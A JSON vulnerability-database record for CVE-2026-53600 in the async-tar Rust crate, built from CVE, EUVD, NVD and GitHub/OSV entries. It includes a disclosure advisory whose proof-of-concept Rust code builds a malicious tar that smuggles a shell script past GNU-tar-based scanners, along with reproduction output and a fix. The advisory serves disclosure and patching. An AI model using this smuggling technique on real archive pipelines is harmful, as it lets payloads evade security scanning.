{"id":"GHSA-35rm-7j9c-2f7m","revision":null,"records":[{"revision":"ea1647a04b5548c1af0ff23ccd141924","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53600","aliases":[],"title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","state":0,"publishedAt":"2026-09-02T16:10:27.461+00:00","modifiedAt":"2026-09-02T18:57:48.269+00:00","affected":[{"ecosystem":"Vendor product","name":"async-tar","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dignifiedquire\",\n                    \"product\": \"async-tar\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.6.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m","https://github.com/dignifiedquire/async-tar/releases/tag/v0.6.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53600","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53600","identifiers":["CVE-2026-53600"]},"retained":false,"historicalAffected":[]},{"revision":"e08ed15181254744a0f4fb958dcb73cc","observedAt":"2026-11-13T14:05:00.537+00:00","statement":{"source":"euvd","id":"EUVD-2026-70200","aliases":["CVE-2026-53600","GHSA-35rm-7j9c-2f7m"],"title":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) ins…","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"severity":null}],"references":["https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m","https://github.com/dignifiedquire/async-tar/releases/tag/v0.6.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-70200","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 2, 2026, 4:10:27 PM","dateUpdated":"Sep 2, 2026, 6:57:48 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-70200","identifiers":["EUVD-2026-70200","CVE-2026-53600","GHSA-35rm-7j9c-2f7m"]},"retained":false,"historicalAffected":[]},{"revision":"bf44dd67a892413490bb5787eb806bb2","observedAt":"2026-10-25T13:17:16.273+00:00","statement":{"source":"nvd","id":"CVE-2026-53600","aliases":[],"title":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) ins…","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","state":0,"publishedAt":"2026-09-02T16:17:17.983+00:00","modifiedAt":"2026-09-09T21:09:13.08+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/dignifiedquire/async-tar/releases/tag/v0.6.1","https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53600","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-843"],"productCriteria":[],"sourceDates":{"published":"2026-09-02T16:17:17.983","lastModified":"2026-09-09T21:09:13.080"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53600","identifiers":["CVE-2026-53600"]},"retained":false,"historicalAffected":[]},{"revision":"545defbd477f4c50807420d51e3a3447","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-35rm-7j9c-2f7m","aliases":["CVE-2026-53600"],"title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next — and that\nheader can be an intermediary `L` — the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x → L → file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n    let file_pos = *next;\n\n    let mut header = current_header.take().unwrap();\n\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n            let Some(key) = extension.key().ok() else { continue };\n            match key {\n                \"size\" => {\n                    let size_str = extension.value()\n                        .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n                    size = size_str.parse::<u64>()\n                        .map_err(|_e| other(\"failed to parse pax size\"))?;\n                }\n                \"uid\" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n                \"gid\" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n                _ => { continue }\n            }\n        }\n    }\n\n    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n    // Store where the next entry is, rounding up by 512 bytes.\n    let size = (size + 511) & !(512 - 1);\n    *next += size;                                          // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header's own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n  libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required — only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library's primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file — it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header — a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1     PAX records  (\"<len> size=1024\\n\")\nB2  L  GNU longname header, OWN declared size = 512 (= 1 block)\nB3     longname block #1  = \"GNU_SEES_THIS.txt\\0...\"   (the name GNU tar uses)\nB4     a normal file header \"placeholder_A\" (size 512)\nB5     <-- this block IS a valid tar header for the smuggled file\n           \"hidden_payload.sh\" (size 65)\nB6     smuggled payload  \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8  two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header's own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody (B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: &mut [u8], v: u64) {\n    let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n    let b = s.as_bytes();\n    buf[..b.len()].copy_from_slice(b);\n    buf[b.len()] = 0;\n}\n\nfn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {\n    let mut h = [0u8; BLOCK];\n    let n = name.len().min(100);\n    h[..n].copy_from_slice(&name[..n]);\n    octal(&mut h[100..108], 0o644);\n    octal(&mut h[108..116], 0);\n    octal(&mut h[116..124], 0);\n    octal(&mut h[124..136], size);\n    octal(&mut h[136..148], 0);\n    h[156] = typeflag;\n    if typeflag == b'L' { h[257..265].copy_from_slice(b\"ustar  \\0\"); }\n    else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n    for b in &mut h[148..156] { *b = b' '; }\n    let sum: u32 = h.iter().map(|b| *b as u32).sum();\n    h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n    h\n}\n\nfn pad(out: &mut Vec<u8>, len: usize) {\n    let rem = len % BLOCK;\n    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: &str, val: &str) -> Vec<u8> {\n    let mut len = key.len() + val.len() + 3;\n    loop {\n        let s = format!(\"{} {}={}\\n\", len, key, val);\n        if s.len() == len { return s.into_bytes(); }\n        len = s.len();\n    }\n}\nfn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -> Vec<u8> {\n    let mut out = Vec::new();\n    let gnu_name = b\"GNU_SEES_THIS.txt\";\n    let spoof = (BLOCK * 2) as u64;\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"size\", &spoof.to_string()));\n    out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(&mut out, &recs);\n    out.extend_from_slice(&header(b\"././@LongLink\", BLOCK as u64, b'L'));\n    out.extend_from_slice(&name_block(gnu_name));                 // B3\n    out.extend_from_slice(&header(b\"placeholder_A\", BLOCK as u64, b'0')); // B4\n    let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n    out.extend_from_slice(&header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b'0')); // B5\n    write_block(&mut out, &smuggled_body);                        // B6\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn build_benign() -> Vec<u8> {\n    let mut out = Vec::new();\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n    out.extend_from_slice(&header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(&mut out, &recs);\n    let body = b\"plain benign content\\n\".to_vec();\n    out.extend_from_slice(&header(b\"normal_file.txt\", body.len() as u64, b'0'));\n    write_block(&mut out, &body);\n    let body2 = b\"second benign file\\n\".to_vec();\n    out.extend_from_slice(&header(b\"second.txt\", body2.len() as u64, b'0'));\n    write_block(&mut out, &body2);\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn main() {\n    let a: Vec<String> = std::env::args().collect();\n    let bytes = match a[1].as_str() { \"malicious\" => build_malicious(), \"benign\" => build_benign(), _ => std::process::exit(2) };\n    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n    let args: Vec<String> = std::env::args().collect();\n    let dest = std::path::PathBuf::from(&args[2]);\n    fs::create_dir_all(&dest).await.unwrap();\n    let bytes = fs::read(&args[1]).await.unwrap();\n    let archive = Archive::new(std::io::Cursor::new(bytes));\n    let mut entries = archive.entries().expect(\"entries()\");\n    let mut idx = 0usize;\n    while let Some(entry) = entries.next().await {\n        let mut file = match entry { Ok(f) => f, Err(e) => { println!(\"[async-tar] ERROR: {e}\"); break } };\n        let path_raw = file.path().expect(\"path\").into_owned();\n        let path_disp = path_raw.to_string_lossy().split('\\u{0}').next().unwrap_or(\"\").to_string();\n        let hdr_size = file.header().size().unwrap_or(0);\n        let mut out = dest.clone();\n        for comp in std::path::PathBuf::from(&path_disp).components() {\n            if let std::path::Component::Normal(p) = comp { out.push(p); }\n        }\n        let mut body = Vec::new();\n        let read = file.read_to_end(&mut body).await.unwrap_or(0);\n        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n        let _ = fs::write(&out, &body).await;\n        let preview: String = body.iter().take(48)\n            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();\n        println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n        idx += 1;\n    }\n    println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release        # links async-tar v0.6.0 from crates.io\n   Compiling async-tar v0.6.0\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n#  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control — a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x → L → file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // PAX extensions describe the NEXT file entry, not an intermediary\n    // extension header. Applying a buffered PAX `size` to such an intermediary\n    // header (L/K/x/g) advances the stream cursor by the wrong amount and\n    // desyncs the parse.\n    let entry_type = header.entry_type();\n    let is_extension_header = entry_type.is_gnu_longname()\n        || entry_type.is_gnu_longlink()\n        || entry_type.is_pax_local_extensions()\n        || entry_type.is_pax_global_extensions();\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            // unchanged: same size/uid/gid override loop as before\n        }\n    }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release        # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n   Compiling async-tar v0.6.0 (.../async-tar-patched)\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`'s view converges with GNU tar's: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory's temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.","state":0,"publishedAt":"2026-07-08T20:24:12+00:00","modifiedAt":"2026-09-10T03:50:51.3463522+00:00","affected":[{"ecosystem":"crates.io","name":"async-tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m","https://github.com/dignifiedquire/async-tar"],"sourceUrl":"https://github.com/advisories/GHSA-35rm-7j9c-2f7m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-35rm-7j9c-2f7m","identifiers":["GHSA-35rm-7j9c-2f7m","CVE-2026-53600"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T08:26:19.5095346+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T08:26:19.5095346+00:00","lastSuccessAt":"2026-11-15T08:26:19.7239433+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:19.7240752+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-576973bd2a8c36ed3d013750ca82fcede7b10fe95f071dbe9a6a4dd94759ab84","complete":true,"records":425782,"lastAttemptAt":"2026-11-15T08:26:18.3005554+00:00","lastSuccessAt":"2026-11-15T07:30:53.2350398+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:18.3005554+00:00","snapshotPublishedAt":"2026-11-15T07:28:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-80a24a6c6ee54d2fa2fcfef752607137","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T08:36:42.4634915+00:00","lastSuccessAt":"2026-11-15T08:36:42.454+00:00","error":"150 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T08:36:42.454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13500,"expectedIdentifiers":13874,"failedIdentifiers":150},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T08:26:19.5095346+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T08:26:19.5095346+00:00","lastSuccessAt":"2026-11-15T08:26:19.872372+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:19.8723725+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-39f2794893ce49af81edbfe444e36bd6","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T08:26:34.3073084+00:00","lastSuccessAt":"2026-11-15T08:26:34.303+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:34.303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T08:26:19.3405266+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:19.3405266+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T08:26:18.9180413+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:18.9180413+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T08:26:19.363527+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:19.363527+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-878f718ccd076f540460423958c8e379b139b997b45858275573ecc4d702fe9a","complete":true,"records":232474,"lastAttemptAt":"2026-11-15T08:26:19.0296826+00:00","lastSuccessAt":"2026-11-15T05:33:06.8241102+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:19.0296826+00:00","snapshotPublishedAt":"2026-11-15T04:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}